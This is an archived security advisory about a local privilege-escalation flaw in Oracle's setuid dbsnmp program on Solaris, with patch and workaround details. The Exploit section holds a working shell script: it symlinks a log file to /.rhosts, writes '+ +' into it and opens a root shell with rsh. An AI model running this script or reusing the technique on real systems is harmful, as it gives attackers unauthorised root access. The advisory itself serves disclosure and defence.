Vulnerability

    Oracle

Affected

    Oracle 7.3.4, 8.0.5, 8.1.5 (UNIX)

Description

    Brock Tellier found following.  Testing was done with Oracle 8.1.5
    on Solaris 2.6 SPARC edition.  This shouldn't make any difference.
    When run  without ORACLE_HOME  being set,  dbsnmp (suid  root/sgid
    dba by default) will dump two log files out into pwd, dbsnmpc  and
    dbsnmpt.   If these  files do  not exist,  dbsnmpd will attempt to
    create them mode  666 and dump  around 400 bytes  of uncontrolable
    output  into  them.   If  the  files  do exist, dbsnmp will append
    these 400  bytes but  not change  the permissions.   Thus if  root
    does  not  have  an  .rhosts  file,  we  can  obtain root privs by
    creating a symlink  from /tmp/dbsnmpc to  /.rhosts.  One  thing to
    note about the exploit is that on my particular implementation,  a
    normal  user  does  not  have  read  access above /product/ in the
    Oracle             path              (something               like
    /u01/app/oracle/product/8.1.5/bin/dbsnmp).   This  won't   prevent
    you from  running the  exploit since  the execute  bit is  set for
    world on all  of Oracle's directories,  but you may  have to guess
    about the location of dbsnmp.  This can usually done by  examining
    the process list for Oracle entries.

    Exploit:

        oracle8% uname -a; id
        SunOS oracle8 5.6 Generic_105181-05 sun4u sparc
        SUNW,Ultra-5_10
        uid=102(btellier) gid=10(staff)
        oracle8% /tmp/oracle.sh
        couldn't read file "/config/nmiconf.tcl": no such file or directory
        Failed to initialize nl component,error=462
        Failed to initialize nl component,error=462
        #
        --- oracle.sh ---
        #!/bin/sh
        # Exploit for Oracle 8.1.5 on Solaris 2.6 and probably others
        # You'll probably have to change your path to dbsnmp
        # Exploit will only work if /.rhosts does NOT exist
        #
        # Brock Tellier btellier@usa.net
        cd /tmp
        unset ORACLE_HOME
        umask 0000
        ln -s /.rhosts /tmp/dbsnmpc.log
        /u01/app/oracle/product/8.1.5/bin/dbsnmp
        echo "+ +" > /.rhosts
        rsh -l root localhost 'sh -i'
        rsh -l root localhost rm /tmp/*log*
        rsh -l root localhost rm /.rhosts
        ------

    This has been confirmed for Oracle 7.3.4. and 8.0.5 on Solaris 2.6
    SPARC  too.   The  vulnerability  discovered  by  Brook Tellier is
    actually the same as

        http://oliver.efri.hr/~crv/security/bugs/Others/oracle6.html

    The basic vulnerability is that the suid program dbsnmp trust  the
    environment  variable  ORACLE_HOME.  Gilles  describes  a  way  to
    exploit  this  by  making  the  vulnerable program execute his own
    version  of  the  nmiconf.tcl  file.   Brook  describes  a  way to
    exploit the problem by making the vulnerable program create  files
    in the system via symlinks.

    According to  Jared Still  there is  a much  easier way to exploit
    dbsnmp     than     this.        Simply     edit     the      file
    $ORACLE_HOME/network/agent/config/nmiconf.tcl,  which  is executed
    when dbsnmp starts up.

Solution

    Oracle has published fixed for  the original problem. They can  be
    found at:

        http://technet.oracle.com/misc/agent/section.htm

    They also have a FAQ on the issue at:

        http://technet.oracle.com/misc/agent/faq.htm

    The Oracle patch changed dbsnmp so that other had no  permissions.
    If you  set your  group to  Oracle and  ran it without ORACLE_HOME
    set, it will create the log  files in the current dir (/tmp),  but
    it won't follow the symlink to /.rhosts and create that.

    However, Intelligent Agent 8.1.5  (the version Brock reported  on)
    does not have a  patch available for it.   This is pretty  strange
    considering that there's  a patch for  8.0.5 and that  other 8.0.6
    and 8.1.x releases don't have the vulnerability.  According to

        http://technet.oracle.com/misc/agent/faq.htm

    the procedure for dealing with 8.1.5 is to 1) install  Intellegent
    Agent 8.0.5, 2) apply the  8.0.5 patch, and 3) shutdown  8.1.5 and
    start 8.0.5 instead.

    SUPPORTED CUSTOMERS:

      The alert and 5 patches are posted on metalink:
      - URL:  http://metalink.oracle.com/

    UNSUPPORTED CUSTOMERS:

      The alert and 5 patches are posted on OTN:
      - URL:  http://technet.oracle.com/

    NOTE!!!:  Brock  Tellier  added  following.   After talking to the
    people in Oracle's security group, one should realized that it  is
    impossible to get an answer regarding what programs in  particular
    are still setuid-anything/setgid-anything  in the latest  versions
    of Oracle with  all the supported  patches installed.   When Brock
    took  a  look  at  the Oracle-provided remove-suid-bits-script, he
    noticed:

        EXECS_NOT_TO_UNSET="oracle dbsnmp"

    Which makes  it so  that his  exploit (for  dbsnmp) and all others
    involving dbsnmp will  still work.   What do the  newer patches do
    to prevent the problems of old?   From what one could read on  the
    Oracle support  page, the  "oracle" program  MUST be setuid-oracle
    if it is in a  multi-user environment, and doesn't that  have just
    as many file-access problems as dbsnmp?

    Martin Wunderli  added that  if you  connect through  sqlnet (that
    is:  a listener running as oracle which starts the oracle binary),
    no sgid/suid  needs to  be set.  But if  you then  try to  connect
    directly by issueing sqlplus username/password, it will fail  with
    'Oracle not available'. The latter is mostly not really a problem.